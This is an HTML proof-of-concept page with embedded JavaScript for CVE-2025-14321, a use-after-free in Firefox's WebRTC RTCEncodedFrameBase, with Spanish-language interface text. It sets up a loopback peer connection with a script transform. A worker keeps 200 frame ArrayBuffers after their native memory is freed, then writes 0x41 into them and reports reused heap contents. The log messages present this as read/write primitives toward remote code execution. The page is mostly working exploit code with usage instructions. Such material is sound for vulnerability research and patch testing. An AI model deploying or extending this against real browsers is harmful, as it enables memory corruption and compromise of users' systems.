4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc-cve-2025-14321.html HTML
<!doctype html>
<html lang="es">
<head>
<meta charset="utf-8">
<title>CVE-2025-14321 PoC — RTCEncodedFrameBase UAF</title>
<style>
  :root {
    --bg: #0c0c0e;
    --surface: #141418;
    --border: #1e1e24;
    --text: #c8c8d0;
    --dim: #6a6a78;
    --accent: #e04040;
    --green: #40c080;
    --cyan: #50b0d0;
    --yellow: #d0a830;
    --mono: 'SF Mono', 'Cascadia Code', 'Fira Code', 'JetBrains Mono', Consolas, monospace;
  }
  * { box-sizing: border-box; margin: 0; padding: 0; }
  body {
    font-family: var(--mono);
    background: var(--bg);
    color: var(--text);
    padding: 24px;
    line-height: 1.5;
    min-height: 100vh;
  }
  .header {
    border-bottom: 1px solid var(--border);
    padding-bottom: 16px;
    margin-bottom: 20px;
  }
  .header h1 {
    font-size: 18px;
    font-weight: 600;
    color: var(--accent);
    letter-spacing: -0.3px;
  }
  .header .subtitle {
    font-size: 12px;
    color: var(--dim);
    margin-top: 4px;
  }
  .header .version-line {
    font-size: 12px;
    margin-top: 8px;
  }
  .grid {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 16px;
    margin-bottom: 16px;
  }
  @media (max-width: 800px) {
    .grid { grid-template-columns: 1fr; }
  }
  .panel {
    background: var(--surface);
    border: 1px solid var(--border);
    border-radius: 6px;
    padding: 14px;
  }
  .panel-title {
    font-size: 11px;
    text-transform: uppercase;
    letter-spacing: 1px;
    color: var(--dim);
    margin-bottom: 10px;
  }
  .stat-row {
    display: flex;
    justify-content: space-between;
    font-size: 12px;
    padding: 4px 0;
    border-bottom: 1px solid var(--border);
  }
  .stat-row:last-child { border-bottom: none; }
  .stat-label { color: var(--dim); }
  .stat-value { color: var(--text); font-weight: 500; }
  .stat-value.ok { color: var(--green); }
  .stat-value.warn { color: var(--yellow); }
  .stat-value.bad { color: var(--accent); }
  #startBtn {
    background: var(--accent);
    color: #fff;
    border: none;
    padding: 10px 20px;
    font-family: var(--mono);
    font-size: 13px;
    font-weight: 600;
    cursor: pointer;
    border-radius: 4px;
    margin-bottom: 16px;
    transition: opacity 0.15s;
  }
  #startBtn:hover { opacity: 0.85; }
  #startBtn:disabled { background: #333; color: #666; cursor: not-allowed; }
  .status-bar {
    font-size: 12px;
    padding: 8px 12px;
    border-radius: 4px;
    margin-bottom: 16px;
    border: 1px solid var(--border);
    background: var(--surface);
  }
  .status-bar.idle { border-left: 3px solid var(--dim); }
  .status-bar.running { border-left: 3px solid var(--yellow); }
  .status-bar.detected { border-left: 3px solid var(--accent); animation: pulse 1.5s ease infinite; }
  .status-bar.pass { border-left: 3px solid var(--green); }
  @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.7; } }
  #log {
    background: var(--surface);
    border: 1px solid var(--border);
    border-radius: 6px;
    padding: 12px;
    max-height: 500px;
    overflow-y: auto;
    font-size: 11px;
    line-height: 1.6;
  }
  .log-line { white-space: pre-wrap; word-break: break-all; }
  .log-line .ts { color: var(--dim); }
  .log-line.info { color: var(--text); }
  .log-line.ok { color: var(--green); }
  .log-line.leak { color: var(--cyan); }
  .log-line.uaf {
    color: var(--accent);
    font-weight: 600;
    background: rgba(224, 64, 64, 0.08);
    padding: 2px 4px;
    border-radius: 2px;
  }
  .log-line.err { color: var(--accent); }
  .note {
    font-size: 11px;
    color: var(--dim);
    margin-top: 16px;
    padding-top: 12px;
    border-top: 1px solid var(--border);
    line-height: 1.6;
  }
</style>
</head>
<body>

<div class="header">
  <h1>CVE-2025-14321 — RTCEncodedFrameBase Use-After-Free</h1>
  <div class="subtitle">WebRTC Encoded Transforms · Undetached ArrayBuffer · Firefox &lt; 146 / ESR &lt; 140.6</div>
  <div class="version-line">
    Navegador: <span id="browserInfo">—</span> ·
    Estado: <span id="vulnStatus">—</span>
  </div>
</div>

<button id="startBtn">Iniciar PoC</button>

<div id="statusBar" class="status-bar idle">Esperando inicio… (se pedirá permiso de cámara para ICE)</div>

<div class="grid">
  <div class="panel">
    <div class="panel-title">Estado del Exploit</div>
    <div class="stat-row"><span class="stat-label">WebRTC</span><span id="sWebrtc" class="stat-value">—</span></div>
    <div class="stat-row"><span class="stat-label">RTCRtpScriptTransform</span><span id="sTransform" class="stat-value">—</span></div>
    <div class="stat-row"><span class="stat-label">Peer Connection</span><span id="sPc" class="stat-value">—</span></div>
    <div class="stat-row"><span class="stat-label">Transform Worker</span><span id="sWorker" class="stat-value">—</span></div>
    <div class="stat-row"><span class="stat-label">Frames procesados</span><span id="sFrames" class="stat-value">0</span></div>
  </div>
  <div class="panel">
    <div class="panel-title">Primitivas UAF</div>
    <div class="stat-row"><span class="stat-label">ArrayBuffers retenidos</span><span id="sLeaks" class="stat-value">0 / 200</span></div>
    <div class="stat-row"><span class="stat-label">Fase</span><span id="sPhase" class="stat-value">—</span></div>
    <div class="stat-row"><span class="stat-label">Cambios memoria</span><span id="sChanges" class="stat-value">0</span></div>
    <div class="stat-row"><span class="stat-label">Último leak hex</span><span id="sLastHex" class="stat-value">—</span></div>
  </div>
</div>

<div id="log"></div>

<div class="note">
  <strong>Root cause:</strong> RTCEncodedFrameBase expone memoria nativa como ArrayBuffer vía
  <code>NewArrayBufferWithUserOwnedContents()</code>, pero el destructor no llama
  <code>DetachArrayBuffer()</code>. El ArrayBuffer sobrevive al backing store nativo → dangling
  pointer → read/write primitives sobre heap liberado.<br>
  <strong>Ref:</strong> Bug 1992760 · MFSA 2025-92 · Fix: DetachData() en todos los teardown paths.<br>
  <strong>Prefs requeridas en about:config:</strong>
  <code style="background:#1e1e24;padding:2px 6px;border-radius:3px;">media.peerconnection.scripttransform.enabled = true</code> ·
  <code style="background:#1e1e24;padding:2px 6px;border-radius:3px;">media.peerconnection.ice.loopback = true</code><br>
  <strong>Uso:</strong>
  <code style="background:#1e1e24;padding:2px 6px;border-radius:3px;">python3 -m http.server 8080</code>
  → <code>http://localhost:8080/poc-cve-2025-14321.html</code> → Aceptar permiso de cámara
</div>

<script>
// ── Browser detection ──
const ffMatch = navigator.userAgent.match(/Firefox\/(\d+(?:\.\d+)*)/);
const browserEl = document.getElementById('browserInfo');
const vulnEl = document.getElementById('vulnStatus');

if (ffMatch) {
  const ver = parseFloat(ffMatch[1]);
  browserEl.textContent = `Firefox ${ffMatch[1]}`;
  if (ver >= 146) {
    vulnEl.textContent = 'PARCHEADO ✓';
    vulnEl.style.color = 'var(--green)';
  } else {
    vulnEl.textContent = 'VULNERABLE';
    vulnEl.style.color = 'var(--accent)';
  }
} else {
  browserEl.textContent = navigator.userAgent.split(' ').pop();
  vulnEl.textContent = 'No Firefox — requiere Firefox < 146';
  vulnEl.style.color = 'var(--yellow)';
}

// ── Logging ──
const logDiv = document.getElementById('log');
let t0;
function log(msg, cls = 'info') {
  if (!t0) t0 = performance.now();
  const ts = ((performance.now() - t0) / 1000).toFixed(1);
  const line = document.createElement('div');
  line.className = `log-line ${cls}`;
  line.innerHTML = `<span class="ts">[${ts}s]</span> ${msg}`;
  logDiv.appendChild(line);
  logDiv.scrollTop = logDiv.scrollHeight;
}

const stat = (id, val, cls) => {
  const el = document.getElementById(id);
  el.textContent = val;
  el.className = `stat-value${cls ? ' ' + cls : ''}`;
};
const setStatus = (msg, cls) => {
  const bar = document.getElementById('statusBar');
  bar.textContent = msg;
  bar.className = `status-bar ${cls}`;
};

// ── API checks ──
const hasTransform = typeof RTCRtpScriptTransform !== 'undefined';
stat('sWebrtc', typeof RTCPeerConnection !== 'undefined' ? 'OK' : 'No',
     typeof RTCPeerConnection !== 'undefined' ? 'ok' : 'bad');
stat('sTransform', hasTransform ? 'OK' : 'No disponible', hasTransform ? 'ok' : 'bad');

if (!hasTransform) {
  setStatus('RTCRtpScriptTransform no disponible — about:config → media.peerconnection.scripttransform.enabled = true', 'idle');
  document.getElementById('startBtn').disabled = true;
}

if (location.protocol === 'file:') {
  log('⚠ Abierto desde file:// — servir por HTTP:', 'err');
  log('  python3 -m http.server 8080', 'info');
  log('', 'info');
}

// ── Inline worker source ──
const WORKER_SRC = `
const leaks = [];
const MAX = 200;
let frameCount = 0;
let changeCount = 0;

function hex16(buf) {
  try {
    const u8 = new Uint8Array(buf);
    return [...u8.slice(0, 16)].map(b => b.toString(16).padStart(2, '0')).join('');
  } catch { return 'DETACHED'; }
}

function refillAndCheck() {
  for (let i = 0; i < leaks.length; i++) {
    try {
      const u8 = new Uint8Array(leaks[i]);
      for (let j = 0; j < Math.min(16, u8.length); j++) {
        if (u8[j] !== 0x41) {
          changeCount++;
          self.postMessage({ type: 'change', idx: i, hex: hex16(leaks[i]), count: changeCount });
          break;
        }
      }
      u8.fill(0x41);
    } catch (e) {
      self.postMessage({ type: 'detached', idx: i });
    }
  }
}

self.addEventListener('rtctransform', (event) => {
  self.postMessage({ type: 'transform_init' });
  const { readable } = event.transformer;

  readable.pipeTo(new WritableStream({
    write(frame) {
      frameCount++;
      const buf = frame.data;

      if (frameCount === 1 || frameCount % 100 === 0) {
        self.postMessage({ type: 'frame', count: frameCount });
      }

      if (leaks.length < MAX) {
        leaks.push(buf);
        try { new Uint8Array(buf).fill(0x41); } catch (e) {}

        self.postMessage({
          type: 'leak',
          idx: leaks.length - 1,
          size: buf.byteLength,
          hex: hex16(buf),
          total: leaks.length
        });
        // Do NOT forward frame -> wrapper GC'd -> native freed -> dangling ArrayBuffer
        return;
      }

      if (frameCount % 3 === 0) refillAndCheck();
    }
  })).catch(e => {
    self.postMessage({ type: 'error', msg: e.toString() });
  });
});
`;

// ── Main PoC logic ──
document.getElementById('startBtn').onclick = async function () {
  this.disabled = true;
  t0 = performance.now();
  let changeCount = 0;

  try {
    // ════════════════════════════════════════════════════════════════
    // KEY INSIGHT: Firefox uses RFC draft-ietf-rtcweb-ip-handling
    // mode 2 (restricted) when NO mic/camera permissions are granted.
    // In mode 2, host candidates (including loopback) are filtered.
    //
    // Calling getUserMedia() promotes Firefox to mode 1, which allows
    // proper ICE candidate gathering including host candidates needed
    // for loopback connections.
    //
    // See: Bug 1659672 - WebRTC ICE gathering fails in LAN
    // See: RFC draft-ietf-rtcweb-ip-handling section 5.2
    // ════════════════════════════════════════════════════════════════

    setStatus('Solicitando permiso de cámara (necesario para ICE loopback)…', 'running');
    log('Paso 1: Solicitando getUserMedia (video)', 'info');
    log('Firefox requiere permisos de cámara para generar candidatos', 'info');
    log('ICE host en conexiones loopback (RFC IP handling mode 1)', 'info');
    log('', 'info');

    let cameraStream = null;
    let useCamera = false;

    try {
      cameraStream = await navigator.mediaDevices.getUserMedia({
        video: { width: 320, height: 240, frameRate: 30 },
        audio: false
      });
      useCamera = true;
      log('✓ getUserMedia concedido — ICE modo 1 activo', 'ok');
    } catch (e) {
      log(`⚠ getUserMedia denegado: ${e.message}`, 'err');
      log('Sin permisos de cámara, ICE puede fallar en loopback', 'err');
      log('', 'info');
    }

    // Prepare canvas stream (used to generate predictable encoded frames)
    const canvas = document.createElement('canvas');
    canvas.width = 320;
    canvas.height = 240;
    const ctx = canvas.getContext('2d');
    let tick = 0;

    function draw() {
      tick++;
      ctx.fillStyle = `hsl(${tick % 360}, 80%, 50%)`;
      ctx.fillRect(0, 0, canvas.width, canvas.height);
      ctx.fillStyle = '#fff';
      ctx.font = '14px monospace';
      ctx.fillText(`fr ${tick}`, 10, 20);
      for (let i = 0; i < 10; i++) {
        ctx.fillStyle = `hsl(${(tick * 7 + i * 36) % 360}, 70%, 60%)`;
        ctx.fillRect(
          Math.sin(tick * 0.1 + i) * 100 + 160,
          Math.cos(tick * 0.1 + i) * 60 + 120, 30, 30
        );
      }
      requestAnimationFrame(draw);
    }
    draw();

    const canvasStream = canvas.captureStream(30);
    const canvasTrack = canvasStream.getVideoTracks()[0];

    // Use camera track for initial setup (triggers ICE mode 1),
    // then replace with canvas track after ICE connects
    const initialTrack = useCamera ? cameraStream.getVideoTracks()[0] : canvasTrack;
    log(`✓ Track inicial: ${useCamera ? 'cámara (para ICE mode 1)' : 'canvas (fallback)'}`, 'ok');

    // ── Step 2: Create worker ──
    setStatus('Iniciando worker…', 'running');
    const blob = new Blob([WORKER_SRC], { type: 'application/javascript' });
    const workerUrl = URL.createObjectURL(blob);
    const senderWorker = new Worker(workerUrl);
    URL.revokeObjectURL(workerUrl);
    stat('sWorker', 'OK', 'ok');
    log('✓ Worker creado', 'ok');

    // ── Worker message handler ──
    function handleWorkerMsg(e) {
      const d = e.data;
      if (d.type === 'transform_init') {
        log('✓ rtctransform event recibido en worker', 'ok');
      }
      else if (d.type === 'frame') {
        stat('sFrames', d.count);
        if (d.count === 1) {
          log('', 'info');
          log('▶▶▶ ¡PRIMER FRAME ENCODED RECIBIDO! ◀◀◀', 'ok');
          log('El encoder está produciendo frames y el transform los intercepta', 'ok');
          log('', 'info');
          stat('sPhase', 'Recolectando buffers', 'warn');
        }
      }
      else if (d.type === 'leak') {
        stat('sLeaks', `${d.total} / 200`);
        stat('sLastHex', d.hex.substring(0, 24) + '…');
        if (d.total === 1 || d.total % 50 === 0 || d.total === 200) {
          log(`Leak #${d.idx}: ${d.size}B → ${d.hex}`, 'leak');
        }
        if (d.total === 200) {
          setStatus('200 buffers retenidos — monitoreando memoria liberada…', 'running');
          stat('sPhase', 'Esperando reuso de memoria', 'warn');
          log('━'.repeat(50), 'info');
          log('200 ArrayBuffers retenidos → memoria nativa YA liberada', 'ok');
          log('Frame wrappers destruidos sin DetachArrayBuffer()', 'info');
          log('→ Dangling pointers activos, esperando reuso…', 'info');
          log('━'.repeat(50), 'info');
        }
      }
      else if (d.type === 'change') {
        changeCount = d.count;
        stat('sChanges', changeCount, 'bad');
        stat('sPhase', 'UAF CONFIRMADO', 'bad');
        setStatus(`UAF DETECTADO — ${changeCount} cambios de memoria`, 'detected');
        log(`🔴 UAF #${d.count} en buffer[${d.idx}]: ${d.hex}`, 'uaf');
        if (d.count === 1) {
          log('', 'info');
          log('╔══════════════════════════════════════════════╗', 'uaf');
          log('║  USE-AFTER-FREE CONFIRMADO                  ║', 'uaf');
          log('║                                              ║', 'uaf');
          log('║  ArrayBuffer → memoria liberada reasignada   ║', 'uaf');
          log('║                                              ║', 'uaf');
          log('║  READ:  Uint8Array(buf) lee datos ajenos     ║', 'uaf');
          log('║  WRITE: .fill(0x41) corrompe heap → RCE      ║', 'uaf');
          log('╚══════════════════════════════════════════════╝', 'uaf');
        }
      }
      else if (d.type === 'detached') {
        stat('sPhase', 'Buffer detached (parcheado)', 'ok');
        setStatus('ArrayBuffer detached — versión parcheada ✓', 'pass');
        log(`✓ Buffer[${d.idx}] detached correctamente — fix activo`, 'ok');
      }
      else if (d.type === 'error') {
        log(`✗ Worker: ${d.msg}`, 'err');
      }
    }

    senderWorker.onmessage = handleWorkerMsg;
    senderWorker.onerror = e => log(`Worker error: ${e.message}`, 'err');

    // ── Step 3: WebRTC peer connections ──
    setStatus('Estableciendo conexión WebRTC loopback…', 'running');
    log('Paso 3: Creando RTCPeerConnections (loopback local)', 'info');

    const pc1 = new RTCPeerConnection();
    const pc2 = new RTCPeerConnection();
    stat('sPc', 'Creadas', 'ok');

    let iceConnected = false;

    function monitorIce(pc, label) {
      pc.oniceconnectionstatechange = () => {
        const st = pc.iceConnectionState;
        const ok = st === 'connected' || st === 'completed';
        log(`ICE ${label}: ${st}`, ok ? 'ok' : st === 'failed' ? 'err' : 'info');
        if (ok && !iceConnected) {
          iceConnected = true;
          stat('sPc', 'ICE conectado ✓', 'ok');
          setStatus('ICE conectado — frames fluyendo al transform…', 'running');
          log('', 'info');
          log('✓ ¡CONEXIÓN ICE ESTABLECIDA!', 'ok');
          log('El encoder empezará a enviar frames al transform pipeline', 'ok');
          log('', 'info');

          // Once ICE is connected and we used camera, swap to canvas
          if (useCamera && canvasTrack !== initialTrack) {
            setTimeout(async () => {
              try {
                await transceiver.sender.replaceTrack(canvasTrack);
                log('✓ Track reemplazado: cámara → canvas', 'ok');
                cameraStream.getTracks().forEach(t => t.stop());
                log('✓ Cámara detenida', 'ok');
              } catch (e) {
                log(`replaceTrack: ${e.message} (no afecta exploit)`, 'err');
              }
            }, 1000);
          }
        }
      };
    }
    monitorIce(pc1, 'pc1→pc2');
    monitorIce(pc2, 'pc2→pc1');

    // Exchange ICE candidates between peers
    let candCount1 = 0, candCount2 = 0;
    pc1.onicecandidate = e => {
      if (e.candidate) {
        candCount1++;
        log(`pc1 cand #${candCount1}: ${e.candidate.candidate.substring(0, 70)}`, 'info');
        pc2.addIceCandidate(e.candidate).catch(() => {});
      } else {
        log(`pc1 ICE gathering completo (${candCount1} candidatos)`, candCount1 > 0 ? 'ok' : 'err');
      }
    };
    pc2.onicecandidate = e => {
      if (e.candidate) {
        candCount2++;
        log(`pc2 cand #${candCount2}: ${e.candidate.candidate.substring(0, 70)}`, 'info');
        pc1.addIceCandidate(e.candidate).catch(() => {});
      } else {
        log(`pc2 ICE gathering completo (${candCount2} candidatos)`, candCount2 > 0 ? 'ok' : 'err');
      }
    };

    // Add track and assign sender transform IMMEDIATELY
    const transceiver = pc1.addTransceiver(initialTrack, { direction: 'sendrecv' });
    transceiver.sender.transform = new RTCRtpScriptTransform(senderWorker, { role: 'sender' });
    log('✓ Transform asignado al sender (pre-negociación)', 'ok');

    // pc2 receives track
    pc2.ontrack = () => log('✓ pc2.ontrack — media negociada', 'ok');

    // ── Step 4: SDP negotiation (standard trickle ICE) ──
    log('Paso 4: Negociación SDP…', 'info');

    const offer = await pc1.createOffer();
    await pc1.setLocalDescription(offer);
    await pc2.setRemoteDescription(offer);

    const answer = await pc2.createAnswer();
    await pc2.setLocalDescription(answer);
    await pc1.setRemoteDescription(answer);

    log('✓ SDP offer/answer intercambiado', 'ok');
    log('Esperando conexión ICE (trickle candidates)…', 'info');

    // ── Timeout fallback ──
    setTimeout(() => {
      if (!iceConnected) {
        const s1 = pc1.iceConnectionState;
        const s2 = pc2.iceConnectionState;
        log('', 'info');
        log(`Estado ICE tras 15s: pc1=${s1}, pc2=${s2}`, 'err');
        log(`Candidatos: pc1=${candCount1}, pc2=${candCount2}`, 'info');

        if (candCount1 === 0 && candCount2 === 0) {
          log('', 'info');
          log('╔═══════════════════════════════════════════════════╗', 'err');
          log('║  0 CANDIDATOS ICE GENERADOS                      ║', 'err');
          log('║                                                   ║', 'err');
          if (!useCamera) {
            log('║  ⚠ No se concedió permiso de cámara              ║', 'err');
            log('║  Firefox NECESITA getUserMedia para generar       ║', 'err');
            log('║  candidatos ICE en loopback (RFC IP mode 1)      ║', 'err');
            log('║                                                   ║', 'err');
            log('║  → Recargar y ACEPTAR permiso de cámara          ║', 'err');
          } else {
            log('║  Cámara concedida pero 0 candidatos.             ║', 'err');
            log('║  Verificar en about:config:                      ║', 'err');
            log('║                                                   ║', 'err');
            log('║  media.peerconnection.ice.loopback      = true   ║', 'err');
            log('║  media.peerconnection.ice.no_host       = false  ║', 'err');
            log('║  media.peerconnection.ice.relay_only    = false  ║', 'err');
            log('║  media.peerconnection.ice.proxy_only    = false  ║', 'err');
            log('║  media.peerconnection.ice.default_address_only   ║', 'err');
            log('║                                         = false  ║', 'err');
            log('║                                                   ║', 'err');
            log('║  ⚠ REINICIAR Firefox tras cambiar prefs          ║', 'err');
            log('║  ⚠ Probar perfil limpio: firefox -P "test"       ║', 'err');
          }
          log('╚═══════════════════════════════════════════════════╝', 'err');
        }

        stat('sPc', 'ICE fallido', 'bad');
        setStatus('ICE no conecta — ver instrucciones en log', 'idle');
      }
    }, 15000);

  } catch (e) {
    setStatus(`Error: ${e.message}`, 'idle');
    log(`✗ ${e.message}`, 'err');
    console.error(e);
  }
};
</script>
</body>
</html>